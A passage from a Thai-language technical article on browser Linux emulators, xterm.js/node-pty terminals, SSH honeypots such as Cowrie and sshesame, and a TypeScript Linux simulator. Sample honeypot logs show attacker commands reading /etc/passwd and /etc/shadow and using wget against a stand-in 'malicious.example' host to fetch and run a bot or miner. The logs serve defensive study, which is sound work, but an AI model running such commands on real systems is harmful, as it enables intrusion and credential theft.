  1. Node.js ถูกคอมไพล์เป็น Wasm (runtime WASI ที่ปรับแต่งเฉพาะ)
  2. Service Worker ดักจับคำขอเครือข่ายจากเซิร์ฟเวอร์ Node.js ที่จำลองและส่งต่อไปยังแท็บเบราว์เซอร์
  3. ระบบไฟล์อยู่ในหน่วยความจำเบราว์เซอร์ (ไม่มี I/O ดิสก์)
  4. npm เป็นการ implement ที่กำหนดเอง เพิ่มประสิทธิภาพสำหรับการใช้งานในเบราว์เซอร์
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// เขียนไฟล์
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// รันคำสั่ง Node.js
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

เพราะมันรัน Node.js จริง (คอมไพล์เป็น Wasm), คุณมี npm จริง, API Node.js จริง, และการแก้ไขโมดูลจริง คุณไม่มี userspace Linux ทั่วไป -- คุณไม่สามารถติดตั้งแพ็กเกจระบบด้วย apt, รันไบนารีที่คอมไพล์แล้วตามอำเภอใจ, หรือทำอะไรมากนอกระบบนิเวศ Node.js

ข้อกำหนดเบราว์เซอร์: SharedArrayBuffer (ต้องใช้ส่วนหัว COOP/COEP), รองรับ Service Worker, Wasm สมัยใหม่

เรื่อง Node.js: ออกแบบสำหรับการใช้งานในเบราว์เซอร์เท่านั้น API ไม่ทำงานนอกบริบทเบราว์เซอร์

npm: @webcontainer/api Docs: webcontainers.io


2.6 container2wasm -- คอนเทนเนอร์ Docker ที่คอมไพล์เป็น Wasm

container2wasm คือเครื่องมือ (ไม่ใช่ package npm) จาก NTT ที่นำอิมเมจคอนเทนเนอร์ Docker และแปลงเป็นไบนารี WebAssembly ที่สามารถรันบนโฮสต์ Wasm ใดๆ -- รวมถึงเบราว์เซอร์ เมื่อผมเห็นมันครั้งแรก ผมไม่เชื่อว่ามันจะทำงานได้

กลไก:

  • สำหรับคอนเทนเนอร์ x86_64: ฝัง Bochs (เอมิวเลเตอร์ x86, คอมไพล์เป็น Wasm) + ระบบไฟล์รากของคอนเทนเนอร์
  • สำหรับคอนเทนเนอร์ riscv64: ฝัง TinyEMU (อีกแล้ว Bellard!) + ระบบไฟล์รากของคอนเทนเนอร์
  • ไฟล์ .wasm ที่ได้จะเริ่มเอมิวเลเตอร์, เมาต์ระบบไฟล์ของคอนเทนเนอร์, และรัน entry point ของคอนเทนเนอร์
# แปลงคอนเทนเนอร์ Ubuntu 22.04 เป็น Wasm
c2w ubuntu:22.04 out.wasm

# รันมัน
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# หรือเสิร์ฟสำหรับใช้งานในเบราว์เซอร์
c2w --to-js ubuntu:22.04 /tmp/htdocs/

.wasm ที่ได้มีขนาดใหญ่ -- Ubuntu ขนาดเล็กก็หลายร้อย MB -- แต่มันอยู่ได้ด้วยตัวเอง คุณสามารถส่ง .wasm ทางอีเมลให้ใครสักคนและเขาสามารถรัน Ubuntu ในเบราว์เซอร์ได้ ประโยคนี้ไม่ควรจะมีความหมาย แต่นี่คือสิ่งที่เราเป็นอยู่

GitHub: container2wasm/container2wasm


สรุปตระกูลเอมิวเลเตอร์

| | v86 | JSLinux/TinyEMU | jor1k | CheerpX | WebContainers | container2wasm | |---|---|---|---|---|---|---|---| | สถาปัตยกรรม | x86-32 JIT→Wasm | RISC-V (Wasm) | OR1K (JS) | x86 (กรรมสิทธิ์) | Node.js→Wasm/WASI | x86/RISC-V (Wasm) | | เคอร์เนลจริง | ✅ | ✅ | ✅ | ✅ | ❌ (Node.js) | ✅ | | 64-bit | ❌ | ✅ (RISC-V) | ❌ | ✅ | n/a | ✅ | | Package npm | ✅ | ❌ | ❌ | CDN/API | ✅ | ❌ (CLI tool) | | ใช้งาน Node.js | ✅ | ❌ | ❌ | ❌ | ❌ (เบราว์เซอร์เท่านั้น) | ผ่าน Wasmtime | | ใช้งานเบราว์เซอร์ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | RAM/instance | 150-256 MB | ~64-128 MB | ~64 MB | 200+ MB | ~100 MB | ~200-500 MB | | เวลาเริ่มต้น | 15-40s | 10-30s | 10-30s | 15-40s | 2-5s | 10-40s | | โอเพนซอร์ส | ✅ | ✅ | ✅ | ❌ | บางส่วน | ✅ | | สถานะ | ✅ ใช้งานมาก | ✅ เสถียร | ⚠️ ถูกเก็บถาวร | ✅ เชิงพาณิชย์ | ✅ ใช้งานอยู่ | ✅ ใช้งานอยู่ |

สิ่งที่โดดเด่นจากตารางนี้: v86 เป็นตัวเดียวที่เป็น package npm, รันทั้งในเบราว์เซอร์และ Node, และเป็นโอเพนซอร์ส นั่นคือสาเหตุที่มันครองการสนทนาเกี่ยวกับ "เอมิวเลเตอร์ Linux ใน JavaScript" ที่เหลือทั้งหมดมีข้อเสีย -- JSLinux ไม่มี API, jor1k ถูกเก็บถาวร, CheerpX มีค่าใช้จ่าย, WebContainers ใช้ได้เฉพาะเบราว์เซอร์และเฉพาะ Node, container2wasm ต้องใช้ขั้นตอน build และ CLI ถ้าคุณแค่ต้องการ "บูต Linux ใน JavaScript", v86 เกือบจะเป็นจุดเริ่มต้นที่ถูกต้องเสมอ


ส่วนที่ 3 -- Stack terminal: xterm.js และ node-pty

สองแพ็กเกจที่กลับมาปรากฎบ่อยๆ เมื่อคนสร้างประสบการณ์แบบ shell พวกมันไม่ใช่ sandbox หรือเอมิวเลเตอร์ -- พวกมันคือระบบท่อ UI และ PTY -- แต่มันเกี่ยวข้องมากจนผมรู้สึกไม่ดีถ้าไม่พูดถึง นอกจากนี้ ผมใช้ทั้งสองตัวและพวกมันดีจริงๆ

3.1 xterm.js -- การเรนเดอร์เทอร์มินัล

xterm.js คือเอมิวเลเตอร์เทอร์มินัลสำหรับเบราว์เซอร์ มันแสดงหน้าจอเทอร์มินัล (ลำดับ escape VT100/xterm) ในองค์ประกอบ <canvas>, จัดการอินพุตคีย์บอร์ด, และเปิดเผย API สำหรับส่งข้อมูล

ใช้โดย: เทอร์มินัลในตัวของ VS Code, Azure Cloud Shell, Proxmox VE, AWS CloudShell, และอื่นๆ อีกมาก

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// ส่งข้อมูลไปยังเทอร์มินัล (แสดงเป็นข้อความ)
term.write("$ ");
term.onData(data => {
  // data คือการกดแป้น -- ส่งไปยัง backend ของคุณ
  socket.send(data);
});
socket.onmessage(msg => {
  // เอาต์พุตจาก backend -- แสดงมัน
  term.write(msg.data);
});

xterm.js เป็นเพียงเลเยอร์การเรนเดอร์ มันไม่รัน shell มันไม่ตีความคำสั่ง มันคือวิดเจ็ตแสดงผลที่คุณเชื่อมต่อกับ backend ที่คุณเลือก หลายคนคิดว่า xterm.js "ทำเทอร์มินัล" แต่มันเป็นแค่หน้าจอ -- คุณยังต้องเชื่อมต่อมันกับอะไรสักอย่างที่รันคำสั่งจริงๆ

npm: @xterm/xterm GitHub: xtermjs/xterm.js


3.2 node-pty -- การสร้าง PTY

node-pty สร้าง pseudoterminal (PTY) ใน Node.js และให้ handle การอ่าน/เขียนแก่คุณ ใช้กับ xterm.js, มันช่วยให้คุณสร้างเทอร์มินัลเบราว์เซอร์ที่สื่อสารกับ shell จริง (bash, zsh, fish) ที่รันบนเซิร์ฟเวอร์

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // ส่งไปยัง xterm.js ในเบราว์เซอร์ผ่าน WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // ส่งต่อการกดแป้นจากเบราว์เซอร์ไปยัง shell
  shell.write(data);
});

นี่คือรูปแบบมาตรฐานสำหรับ IDE คลาวด์และเว็บเทอร์มินัล: xterm.js (เบราว์เซอร์) ↔ WebSocket ↔ node-pty ↔ bash จริง ไม่มีการแยก shell รันด้วยสิทธิ์ทั้งหมดของโพรเซส Node.js (หรือผู้ใช้ที่เรียกมัน)

ดูแลโดย: Microsoft npm: node-pty GitHub: microsoft/node-pty


ส่วนที่ 4 -- Honeypot SSH

Honeypot ถูกออกแบบมาให้ถูกโจมตี เป้าหมายคือให้ดูสมจริงพอที่ผู้โจมตีจะโต้ตอบกับมัน พร้อมบันทึกทุกสิ่งที่พวกเขาทำเพื่อข่าวกรองภัยคุกคาม SSH เป็นเป้าหมายหลักเพราะมันเป็นบริการที่ถูกโจมตีมากที่สุดบนอินเทอร์เน็ต -- ถ้าคุณเปิดพอร์ต 22 บน IP สาธารณะ คุณจะเห็นความพยายามสแกนอัตโนมัติภายในไม่กี่นาที ลองดูสักวัน มันน่ากลัวมากว่ามันมาเร็วแค่ไหน

คุณภาพของ honeypot วัดจากสองสิ่ง: ความเที่ยงตรง (มันเลียนแบบระบบจริงได้น่าเชื่อถือแค่ไหน) และ telemetry (มันเก็บข้อมูลที่มีประโยชน์ได้มากแค่ไหน) สองสิ่งนี้มีความตึงเครียด Honeypot ที่มีความเที่ยงตรงสูงสร้างยากกว่าและเสี่ยงที่จะดำเนินการมากกว่า

ส่วนนี้คือสิ่งที่ทำให้ผมสร้างโมดูล HoneyPot ใน typescript-virtual-container ดังนั้นผมมีความคิดเห็นบางอย่างที่นี่

4.1 Cowrie -- มาตรฐานทองคำ

Cowrie คือ honeypot SSH และ Telnet แบบโต้ตอบระดับกลางถึงสูงที่ใช้ Python มันคือ honeypot SSH ที่ถูกนำไปใช้มากที่สุดในชุมชนวิจัยและความปลอดภัย

สถาปัตยกรรม:

  • เลเยอร์โปรโตคอล: การ implement โปรโตคอล SSH จริง (Twisted Conch), ดังนั้นผู้โจมตีมีการจับมือจริง, การแลกเปลี่ยนคีย์จริง, การยืนยันตัวตนจริง
  • เลเยอร์ shell: ระบบไฟล์ปลอม (คล้าย Debian 5.0) และอินเทอร์พรีเตอร์ shell บางส่วนที่ตอบสนองต่อคำสั่งทั่วไป
  • โหมดพร็อกซี: สามารถส่งต่อไปยังระบบจริงด้านหลัง (โหมดโต้ตอบสูง), บันทึกทุกอย่างที่ผ่าน
  • โหมด LLM (เพิ่มล่าสุด): ใช้โมเดลภาษาเพื่อสร้างการตอบสนองแบบไดนามิกต่อคำสั่งที่มันไม่รู้จัก -- ใช่ Cowrie มีโหมด AI แล้ว เราอยู่ในยุคที่บ้าคลั่ง
# สิ่งที่ Cowrie บันทึก
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie บันทึกไฟล์ที่ดาวน์โหลด (ผ่าน wget/curl/SFTP/SCP) สำหรับการวิเคราะห์มัลแวร์ มันทำงานร่วมกับ Splunk, Elasticsearch, และแพลตฟอร์ม SIEM อื่นๆ

ความเที่ยงตรง: ปานกลาง-สูง น่าเชื่อถือพอที่จะหลอกบอทอัตโนมัติ (ซึ่งคิดเป็น 99% ของผู้โจมตี SSH -- ส่วนใหญ่เป็นแค่สคริปต์โง่ๆ ที่ลอง root/password) มนุษย์ที่มีความซับซ้อนสามารถระบุลายนิ้วมือได้ อย่างไรก็ตาม โดยทั่วไปค่อนข้างเร็ว

ภาษา: Python (Twisted) GitHub: cowrie/cowrie


4.2 Kippo -- รุ่นก่อนของ Cowrie

Kippo คือ honeypot SSH แบบโต้ตอบระดับกลางดั้งเดิมที่ Cowrie อิงจาก แนวคิดพื้นฐานเดียวกัน: โปรโตคอล SSH จริง, ระบบไฟล์ปลอม, shell บางส่วน Cowrie แทนที่มันอย่างสมบูรณ์แล้ว -- Kippo ถูกเก็บถาวรและไม่มีใครควรใช้มันในปี 2026 กล่าวถึงที่นี่เพื่อความสมบูรณ์ทางประวัติศาสตร์เท่านั้น เพราะคุณอาจเห็นมันถูกอ้างถึงในบล็อกโพสต์เก่าและเอกสารความปลอดภัย

GitHub: desaster/kippo -- ถูกเก็บถาวร


4.3 endlessh -- tarpit SSH

endlessh คือ honeypot ที่ผิดรูป: มันทำให้การเชื่อมต่อ SSH เปิดค้างไว้โดยการส่งข้อมูลแบนเนอร์อย่างช้าๆ ที่ 1 ไบต์ต่อวินาที (หรือน้อยกว่า) ลูกค้า SSH ที่เชื่อมต่อจะติดอยู่ indefinitely -- มันไม่ถึงขั้นตอนการยืนยันตัวตนเพราะเซิร์ฟเวอร์ไม่เคยส่งแบนเนอร์เสร็จ

เป้าหมายไม่ใช่ข่าวกรองภัยคุกคาม แต่เป็นการปฏิเสธทรัพยากรล้วนๆ: ทำให้เธรดสแกนของผู้โจมตียุ่ง เพื่อให้พวกมันไม่สามารถเข้าถึงเป้าหมายจริงได้เร็วเท่า พูดตามตรงมันค่อนข้างจะร้ายในทางที่ดี คุณไม่ได้เรียนรู้อะไรจากผู้โจมตี -- แค่ทำให้พวกเขาเสียเวลา มันมีความพึงพอใจอย่างลึกซึ้งในสิ่งนั้น

// พฤติกรรมโปรโตคอลทั้งหมดของ endlessh:
// ส่ง: "SSH-2.0-OpenSSH_" แล้วค่อยๆ เพิ่มอักขระสุ่ม
// ไม่เคยปิดการเชื่อมต่อ
// สแกนเนอร์ของผู้โจมตีจะหมดเวลาหลังจาก N วินาที

ไม่มีการบันทึกคำสั่ง ไม่มีการทดสอบการยืนยันตัวตน แค่เวลาเชื่อมต่อ

เขียนด้วย: C GitHub: skeeto/endlessh


4.4 sshesame -- honeypot "ปล่อยทุกคนเข้า"

sshesame ยอมรับการเชื่อมต่อ SSH ทั้งหมด (ผู้ใช้ใดก็ได้, รหัสผ่านใดก็ได้, คีย์ใดก็ได้) และบันทึกทุกอย่าง มันคือ honeypot แบบโต้ตอบเป็นศูนย์: มันไม่ตอบสนองต่อคำสั่ง, มันแค่ปล่อยให้ผู้โจมตี "เข้า" และบันทึกทุกการกดแป้นที่พวกเขาพิมพ์

2024-01-15 03:22:11 การเชื่อมต่อจาก 45.33.32.156
  ผู้ใช้: root, รหัสผ่าน: password123 -- ยอมรับ
  คำสั่งที่พิมพ์:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  ตัดการเชื่อมต่อหลังจาก 47s

มีประโยชน์สำหรับการเก็บข้อมูลประจำตัว: คุณสะสมชื่อผู้ใช้และรหัสผ่านที่บอทพยายามอย่างรวดเร็ว ซึ่งบอกคุณว่าข้อมูลประจำตัวเริ่มต้นใดที่กำลังถูก brute force อย่างแข็งขัน สปอยเลอร์: มันคือ root/password, admin/admin, และ root/123456 เสมอ ทุกครั้ง

GitHub: jaksi/sshesame


4.5 Lyrebird -- เฟรมเวิร์ก honeypot ที่ใช้ Docker

lyrebird/honeypot-base คืออิมเมจฐาน Docker สำหรับสร้าง honeypot บริการเครือข่าย มันไม่ใช่ honeypot SSH โดยเฉพาะ -- มันคือเฟรมเวิร์กสำหรับสร้าง honeypot สำหรับโปรโตคอลใดๆ

อิมเมจฐานมีเฟรมเวิร์กการบันทึก, ระบบปลั๊กอินสำหรับโปรโตคอล, และการกำหนดค่า Docker Compose สำหรับ honeypot หลายบริการ คุณขยายมันเพื่อจำลองบริการเฉพาะ

Docker Hub: lyrebird/honeypot-base


4.6 สร้าง honeypot SSH ใน Node.js -- วิธีแบบง่าย และทำไมมันถึงล้มเหลว

ก่อน typescript-virtual-container, การสร้าง honeypot SSH ใน Node.js หมายถึงการรวมไลบรารี ssh2 จริงกับการจำลองคำสั่งแบบ manual ลำบากมาก, ไม่สมบูรณ์มาก, แต่มัน... เป็นเส้นทางที่ต้องผ่านในตอนนี้:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // บันทึกความพยายาม
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // ปล่อยทุกคนเข้า
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // การตอบสนองจำลอง
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

มัน "ทำงาน" ในแง่ที่ว่ามันบันทึกข้อมูลประจำตัวและคำสั่ง แต่มันผิดอย่างเห็นได้ชัดทันทีที่ผู้โจมตีที่มีความซับซ้อนขุดลึกลงไป uname -a คืนค่าสตริงที่ถูกต้อง แต่ ls /etc คืนค่า "command not found" -- มันส่งกลิ่นกับดักอย่างชัดเจน ระบบไฟล์ไม่มีอยู่จริง คำสั่งไม่ต่อเนื่องกัน Pipes ไม่ทำงาน ตัวแปรไม่ขยายตัว

ผู้โจมตีที่มีความสามารถจะระบุ honeypot ของคุณภายในห้าคำสั่งแรก สคริปต์อัตโนมัติที่มองหาพฤติกรรมแบบ Cowrie จะตรวจจับมันได้ทันทีเช่นกัน นี่คือสิ่งที่ผลักดันให้ผู้เขียน typescript-virtual-container สร้างบางสิ่งที่ตีความคำสั่งจริงๆ -- เพิ่มเติมในส่วนที่ 5


สรุปตระกูล honeypot

| | Cowrie | Kippo | endlessh | sshesame | Lyrebird | ssh2 แบบง่าย | |---|---|---|---|---|---|---|---| | ระดับการโต้ตอบ | ปานกลาง-สูง | ปานกลาง | ศูนย์ | ศูนย์ | แปรผัน | ต่ำ | | โปรโตคอล SSH จริง | ✅ | ✅ | ❌ (tarpit) | ✅ | แปรผัน | ✅ | | ความเที่ยงตรงของ shell | ปานกลาง | ปานกลาง | n/a | ไม่มี | แปรผัน | น้อยที่สุด | | บันทึกข้อมูลประจำตัว | ✅ | ✅ | ❌ | ✅ | ✅ | ✅ | | บันทึกคำสั่ง | ✅ | ✅ | ❌ | ✅ | แปรผัน | ✅ | | บันทึกมัลแวร์ | ✅ | ✅ | ❌ | ❌ | ❌ | ❌ | | การทำงานร่วมกับ SIEM | ✅ เนทีฟ | ❌ | ❌ | ❌ | ❌ | manual | | การตอบสนอง LLM | ✅ (ใหม่) | ❌ | ❌ | ❌ | ❌ | ❌ | | ภาษา | Python | Python | C | Go | Docker | Node.js | | Node.js เนทีฟ | ❌ | ❌ | ❌ | ❌ | ❌ | ✅ | | สถานะ | ✅ ใช้งานมาก | ⚠️ ถูกเก็บถาวร | ✅ ใช้งานอยู่ | ✅ ใช้งานอยู่ | ✅ ใช้งานอยู่ | DIY |

รูปแบบตรงนี้ค่อนข้างชัดเจน: ยิ่งคุณต้องการความเที่ยงตรงมากเท่าไหร่ คุณยิ่งต้องเขียน Python มากเท่านั้น Cowrie คือผู้ชนะที่ไม่มีข้อกังขาถ้าคุณทำเรื่องนี้อย่างจริงจัง -- มันถูกพิสูจน์ในสนามมานานหลายปีและบันทึกได้มากกว่าแค่ข้อมูลประจำตัว endlessh และ sshesame เป็นโครงการที่สนุกมากกว่าเครื่องมือข่าวกรองภัยคุกคามจริงจัง และวิธีแบบง่ายใน Node.js จะพาคุณไปถึงประมาณ 20% ของทางก่อนที่คุณจะชนกำแพง


ส่วนที่ 5 -- typescript-virtual-container: สิ่งที่เชื่อมช่องว่าง

โอเค ทีนี้เริ่มน่าสนใจแล้ว หลังจากจัดหมวดหมู่ทุกตระกูลข้างต้นแล้ว ช่องว่างที่ขาดหายไปก็ค่อนข้างชัดเจน:

  • JS sandbox: แยกโค้ด, ไม่มี shell, ไม่มีระบบไฟล์, ไม่มี SSH
  • เอมิวเลเตอร์ Linux: OS จริง, shell จริง, SSH จริง... แต่ RAM 150+ MB, เวลาเริ่มต้น 30 วินาที, และคุณต้องสร้าง API ของคุณเองบน serial I/O
  • Honeypot: shell ปลอม, ไม่มี API ที่ตั้งโปรแกรมได้, Python/Go/C, ไม่ใช่ Node เนทีฟ

ไม่มีใครสร้างสภาพแวดล้อม Linux ที่สมบูรณ์, ตั้งโปรแกรมได้, Node เนทีฟ, พร้อม SSH จริง, สิทธิ์จริง, เครือข่ายเสมือนจริง, และ API TypeScript ที่มีการกำหนดชนิด ดังนั้นเธอจึงสร้างมันขึ้นมา

แนะนำเล็กน้อยเพราะนี่เป็นครั้งแรกที่ผมพูดถึงเธออย่างถูกต้อง: typescript-virtual-container สร้างโดย Chloé Rolzhausen, นักพัฒนาโปรแกรมชาวฝรั่งเศสที่ใช้ชื่อ Fortune (หรือ ItsRealFortune) ออนไลน์ คุณสามารถหาเธอได้ที่ เว็บไซต์ และ LinkedIn ทั้งโปรเจกต์ -- 56,000 บรรทัดของ TypeScript, 247 ไฟล์, 170 คำสั่ง -- เป็นความพยายามเดี่ยวโดยคนคนเดียว ผมจะเรียกเธอว่า Fortune สำหรับส่วนที่เหลือของบทความ และใช่ มันบ้ามาก ไปดูผลงานของเธอเถอะ!

มันคืออะไรจริงๆ

typescript-virtual-container คือซีมิวเลเตอร์สภาพแวดล้อม Linux ที่เขียนด้วย TypeScript บริสุทธิ์ ไม่มี Wasm ไม่มี extension เนทีฟ ไม่มีเคอร์เนล ~56,000 บรรทัดของซอร์สกระจายอยู่ใน 247 ไฟล์ TypeScript

ข้อมูลเชิงลึกที่สำคัญ: คุณไม่จำเป็นต้องใช้เอมิวเลเตอร์ CPU เพื่อให้ ls /etc | grep passwd ทำงาน คุณต้องการ:

  1. ต้นไม้โหนดในหน่วยความจำที่ตอบสนองต่อการดำเนินการเส้นทาง
  2. โมเดลสิทธิ์ POSIX ที่บังคับใช้กับการเข้าถึงทุกครั้ง
  3. ตัวแยกวิเคราะห์ shell ที่เข้าใจ pipelines, การเปลี่ยนทิศทาง, sub-shells, และการขยายตัวแปร
  4. ~170 การ implement คำสั่ง (ฟังก์ชัน, ไม่ใช่ไบนารี)
  5. ระบบจัดการผู้ใช้และกลุ่ม
  6. บางอย่างเพื่อเปิดเผยทั้งหมดนี้ผ่าน SSH

ทั้งหมดนี้ทำได้ใน TypeScript บริสุทธิ์โดยไม่ต้องเกี่ยวข้องกับเคอร์เนล

VirtualFileSystem

VFS คือต้นไม้ในหน่วยความจำของโหนดที่กำหนดชนิด -- ไม่มี I/O ดิสก์ยกเว้นคุณเปิดใช้งานโหมดคงอยู่ "fs" อย่างชัดแจ้ง:

// การแสดงภายในแบบย่อ
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // placeholder ที่โหลดแบบขี้เกียจ

ทุกการดำเนินการเส้นทางผ่าน normalizePath (แก้ไข ., .., symlink) และ enforceAccess (ตรวจสอบสิทธิ์อ่าน/เขียน/ดำเนินการเทียบกับ uid/gid ของผู้ร้อง) chmod, chown, sticky bits และ setuid ทั้งหมดถูก implement และบังคับใช้จริง ถ้าโพรเซสที่รันเป็น uid 1000 พยายามอ่านไฟล์ที่เป็นของ root ด้วยโหมด 0600, มันจะได้รับ EACCES -- ไม่ใช่ EACCES ปลอม, แต่เป็น Error JavaScript จริงที่ถูกโยนจากการตรวจสอบสิทธิ์ ส่วนนี้ค่อนข้างสวยงามพูดตามตรง

VFS สามารถซีเรียลไลซ์เป็น:

  • .vfsb -- รูปแบบไบนารีกระชับ (กำหนดเอง, พร้อมการบีบอัด fflate) -- นี่คือรูปแบบเริ่มต้น
  • สแนปชอต JSON -- มนุษย์อ่านได้, ดีสำหรับการแก้ปัญหา
  • TAR archive -- นำเข้า/ส่งออกกับรูปแบบ tar จริง, ดังนั้นคุณสามารถ tar -xf บางอย่างและ VFS ก็มี... ไฟล์เหล่านั้น
  • อิมเมจ SquashFS -- นำเข้าแบบอ่านอย่างเดียว

ในโหมดคงอยู่ "fs", มันรักษา write-ahead log (WAL) สำหรับการกู้คืนจากความเสียหาย -- การเขียนไปที่ log ก่อน, จากนั้นไปที่สแนปชอตเมื่อทำการ flush ถ้า Node หยุดทำงานกลางการดำเนินการ, log ช่วยให้คุณสร้างสถานะสมบูรณ์ล่าสุดขึ้นมาใหม่

นอกจากนี้ยังมีเลเยอร์ FileCache ที่จำลอง latency I/O ดิสก์ คุณกำหนดค่าโปรไฟล์อย่าง NVME_DISK_IO หรือ HDD_DISK_IO และ VFS จะหน่วงเวลาการดำเนินการไฟล์โดยประดิษฐ์เพื่อให้ตรงกับเวลาจริง ซึ่งค่อนข้างตลก -- ซอฟต์แวร์ที่ตั้งใจทำให้ตัวเองช้าลงเพื่อจำลองฮาร์ดแวร์ -- แต่จริงๆ มีประโยชน์มากสำหรับการเปรียบเทียบประสิทธิภาพ

อินเทอร์พรีเตอร์ shell

ตัวแยกวิเคราะห์ shell สร้าง AST ที่กำหนดชนิด:

// "ls /etc | grep root && echo done" ถูกแยกเป็น:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

ตัวดำเนินการเดิน AST นี้:

  • สำหรับ pipeline, มันสร้างห่วงโซ่สตรีม { stdin, stdout, stderr } และรันแต่ละคำสั่งด้วย I/O แบบ pipelined
  • สำหรับตัวดำเนินการตรรกะ (&&, ||), มันตรวจสอบ $? หลังจากด้านซ้ายก่อนที่จะดำเนินการด้านขวา
  • สำหรับ sub-shells ($(...), ` `), มันแยกบริบทการดำเนินการ
  • สำหรับการเปลี่ยนทิศทาง (>file, >>file, 2>&1, <file), มันกำหนดค่าการเชื่อมต่อสตรีมก่อนดำเนินการ
  • สำหรับงานพื้นหลัง (cmd &), มันดำเนินการโดยไม่รอให้เสร็จ
  • สำหรับตัวแปร, มันขยาย $VAR, ${VAR:-default}, ${#VAR}, และเลขคณิต $((expr))
  • สำหรับการขยายวงเล็บปีกกา ({a,b,c}, {1..5}), มันสร้างรายการขยายที่สมบูรณ์ก่อนดำเนินการ

ทั้งหมดนี้คือพฤติกรรม POSIX shell จริง ตัวแยกวิเคราะห์จัดการ heredocs, การแทนที่โพรเซส, globbing (*, ?, [abc]), และการจัดการเครื่องหมายคำพูด (single quotes, double quotes พร้อม interpolation, backslash escaping) มันไม่สมบูรณ์แบบ -- มีกรณีขอบ -- แต่มันเกินกว่าที่คุณคาดหวังจากโปรเจกต์ TypeScript

~170 คำสั่งในตัว

คำสั่งคือฟังก์ชัน TypeScript ที่ลงทะเบียนในทะเบียนคำสั่ง พวกมันได้รับ CommandContext พร้อมสตรีม stdin/stdout/stderr, VFS, เซสชันผู้ใช้, สภาพแวดล้อม shell, และการเข้าถึงโมดูลย่อย

การเขียน 170 การ implement คำสั่ง Unix... มันมาก บางอย่างก็ง่าย (echo, true, false), บางอย่างก็ซับซ้อนอย่างน่าประหลาดใจ (awk, find, tar) แบบ, awk POSIX เต็มรูปแบบ? ใน TypeScript? มันบ้าจริงๆ นี่คือตัวอย่างบางส่วนของสิ่งที่อยู่ภายใน:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (ฝั่งลูกค้า, การเชื่อมต่อขาออก),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (แก้ไขแบบโต้ตอบเต็มรูปแบบ), vim (พื้นฐาน), vi (พื้นฐาน),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (จำลอง), systemctl (stub), journalctl (stub),
...และอีกประมาณ 130 ตัว

"Stubs" (git, python3, node) ตอบสนองอย่างสมจริงต่อการเรียกทั่วไป -- python3 --version คืนค่าสตริงเวอร์ชันที่น่าเชื่อถือ, git status แสดงสถานะพื้นที่เก็บข้อมูลสมมติ -- โดยไม่ทำงานจริง สำหรับ honeypot, จริงๆ แล้วมีประโยชน์มากกว่าคำสั่งจริง เพราะมันช่วยให้คุณสังเกตสิ่งที่ผู้โจมตีพยายามรันโดยไม่ต้องรันอะไรที่เป็นอันตราย

เซิร์ฟเวอร์ SSH

เลเยอร์ SSH ใช้แพ็กเกจ npm ssh2 จริง -- โปรโตคอล SSH จริง, การแลกเปลี่ยนคีย์จริง, การเข้ารหัสจริง SSHMimic ห่อมัน:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// SSH จริง: ssh -p 2222 root@localhost
// SFTP จริง: sftp -P 2222 root@localhost
